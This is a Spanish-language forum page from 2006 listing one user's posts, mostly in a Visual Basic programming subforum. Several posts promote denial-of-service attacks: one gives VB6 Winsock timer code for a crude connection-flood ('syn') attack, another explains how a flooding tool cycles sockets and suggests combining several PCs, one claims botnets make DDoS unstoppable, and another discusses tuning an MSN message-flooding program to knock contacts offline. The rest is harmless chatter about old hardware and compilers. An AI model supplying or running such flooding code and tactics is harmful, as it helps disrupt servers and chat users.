Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - [VolkS]

#31
Cita de: ||MadAntrax|| en 27 Diciembre 2006, 20:49 PM
Cita de: [VolkS] en 27 Diciembre 2006, 20:40 PM
Hola, esta bueno, pero sacandole el sleep y poniendo el for to 100, funciona igual y consume menos pc al que usa el programa.(ya lo testie)
El Sleep es para que la aplicación espere 100 milisegundos y conseguir así que la ventana de conversación se active en primer plano.

Si bajas el bucle for evidentemente conseguiras un programa más rapido y no consumirá tanto, pero el ataque será más pequeño y con según que victimas no lograrás timbarlas de 1 solo golpe.

:)

si, es obvio que el ataque es mas pequeño, pero con 100 lo probe testie con varios conctactos y funciono...

y el overflow no desconecta a la gente, la gente se auto desconecta al ver que tiene el msn desbordado xD cuando le dice "no responde".

por eso si atacamos a alguien que este conectado y no esta en la PC, tiene el msn desbordado y no lo puede usar, pero si no esta en la pc para cerrarlo, lo vamos a ver online xD.
#32
Hola, esta bueno, pero sacandole el sleep y poniendo el for to 100, funciona igual y consume menos pc al que usa el programa.(ya lo testie)
#33
Foro Libre / Re: ¡Vuestros Ordenadores!
1 Diciembre 2006, 18:31 PM
Cita de: Quatro_IV en 14 Octubre 2006, 18:25 PM
Sorprendance:

AMD K6-2 533 Mhz~ con tecnologia 3D NOW    :o
Monitor Compaq MVP4
Audio ESS Allegro
tarjeta de Video Trident de 8 Mg  ;D
Raton y teclado Compaq
HD: 1.- de 10 Gb
       2.- de 2 Gb
       3 .- Flas Memory USB de 2 Gb

En fin y asi me la llevo


jajajaajaj, tengo casi la misma basura :D, el monitor es MV520, y tengo 184 de ram y no los 56mb predeterminados xDDDDDDDD jajajaja.

:(
#34
Cita de: Nymphetaminito en 29 Noviembre 2006, 01:17 AM
No se puede tirar nunca a un servidor con más ancho de banda que el propio.

SYN FLOOD hoy en día lo detectan las reglas predeterminadas de iptables y cualquier firewall para Windows.

Abrir y cerrar conexiones para tratar de romper la pila TCP tampoco sirve en la mayoría de los servidores, lograrás que te banee automáticamente y si no lo hace, de todas formas no lograrás romperle la pila porque al invocar a Sock.Close envía la flag RST activada y el server cierra la conexión.

De cualquier modo,  para trabajar al nivel necesario para ese tipo de ataques se puede usar las funciones de WinPCap.

obviamente con 1 sola pc es muy dificil, pero 1000 bots haciendo 1 syn de 200 sockets si se puede, y de ultima se packetea el server a puros bytes, no hay forma de parar un ataque ddos, por mas firewall que tengas, si tenes alrrededor de 10k de bots, no se pueden parar.
#35
Cita de: xDie en 28 Noviembre 2006, 20:30 PM
100 bytes de que? cadena basura? peudes dar un ejemplo cortito

si, alguna cadena, para floodear apenas un poco, sin eso funciona igual, es como para darle un poco mas de poder al syn, nada mas.

un ataque sencillo seria asi.

Private Sub tmrSyn_Timer()
On Error GoTo Error
If CountSyn = 250 Then
CountSyn = 0
WSyn1.CloseSck
WSyn2.CloseSck
WSyn3.CloseSck
tmrSyn.Enabled = False
Else
End If

WSyn1.Connect
If WSyn1.State = sckconnected Then
        SynSent = "-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOL-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS--VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS" 
       WSyn1.SendData (SynSent & vbCrLf)
        SynSent = ""

End If

WSyn2.Connect
If WSyn2.State = sckconnected Then
        SynSent = "-VOLKS---VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS--VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS--VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS--"
        WSyn2.SendData (SynSent & vbCrLf)
        SynSent = ""

End If

WSyn3.Connect
If WSyn3.State = sckconnected Then
        SynSent = "-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--VOLKS-VOLKS--"
        WSyn3.SendData (SynSent & vbCrLf)
        SynSent = ""

End If

WSyn1.CloseSck
WSyn2.CloseSck
WSyn3.CloseSck
CountSyn = CountSyn + 1
Error:
Call CheckConnect
End Sub


Es un ataque muy "precario" digamos, utilizando solo 3 sockets.

Conecta, revisa la connecion envia desconecta, asi 250 veces que hace el count del Syn.
#36
es mas sencillo de lo que todos piensan...
igual ya lo explique varias veces, Alguien arriba dijo "creas 1000 sockets y los conectas"

1) Crear 1000 sockets puede crashear la pc, depende el proccesador o la memoria., conectar 1000 sockets de una no es muy recomendado para agotar el ancho de banda, porque puede dar overflow(desbordamiento de buffer)(lo mas probable)

Lo que hacie el turbinas es usar 5 sockets y adaptarse al tipo de connecion haciendo bien los request,

Conecta 5 sockets, peticiones > Request > Accept >
1er Socket envia 100 bytes
2do Socket envia 100 bytes
3er Socket envia 100 bytes
4to Socket envia 100 bytes
5to Socket envia 100 bytes
Desconnecta los 5 

Conecta 5 sockets, peticiones > Request > Accept >
1er Socket envia 100 bytes
2do Socket envia 100 bytes
3er Socket envia 100 bytes
4to Socket envia 100 bytes
5to Socket envia 100 bytes

Desconnecta los 5 

Asi susesivamente, por eso en algunas pc's no funcionaba bien ya que se necesita suficiente ancho de banda para poder colapsar alguns servidor, pero si juntas 5 o 6 pc's con diferentes conneciones sumarian 25 sockets al mismo tiempo ahciendo eso y seria mas efectivo :P.
El envio de bytes lo hacia cada cierto delay.

Lo mas importante es la connecion y desconnecion de los sockets, eso es mas importante que el simple envio de bytes.
#37
Cita de: xDie en 26 Noviembre 2006, 19:25 PM
Cita de: Mr.Chispa en 26 Noviembre 2006, 04:45 AM
te lo digo a lo bruto  ;D:
crea muchos pero muchos winsocks(500, 1000, hay que probar cuantos crea sin colgar tu pc) y los dirigis todos al servidor y le das play (conectar), nunca lo probe pero puede colgar un server???
A mi me interesa eso.. lo que queria saber como peudo crear una conexionn syn, con winsok.. osea dejar el server esperando mi paquete.. seria un syn flood si alguien sabe estoy escuahdno jeje

eso crashearia la pc de forma local.
#38
que error te da?, puede que porque declaro todo public, me manejo con modulos, fijate poniendole private a la api y ponerla en el form.

y decime que error te da
#39
Cita de: newbY en 20 Noviembre 2006, 21:56 PM
Yo tengo instalado el Visual C++ 2005 Express Edition, y estoy haciendo chapucillas y tal pero todos esos codigos que poneis vosotros en el foro no se donde se ponen, etc, no se hacer que al darle a un boton de aceptar te lleve a un contenido dentro de una ventana... etc ¿podrias ayudarme? :P

Gracias.

Es que ese visual es un compilador de C++, y este subforo es de Visual Basic
#40
Cita de: newbY en 20 Noviembre 2006, 21:50 PM
yo tengo una pregunta... ¿donde se ponen esos codigos?...
perdonen mi ignorancia pero soy nuevo en esto...

Gracias.



Programacion en Visual Basic, tenes que bajarte el VB 6.0(ya ta quedando viejo igual :( )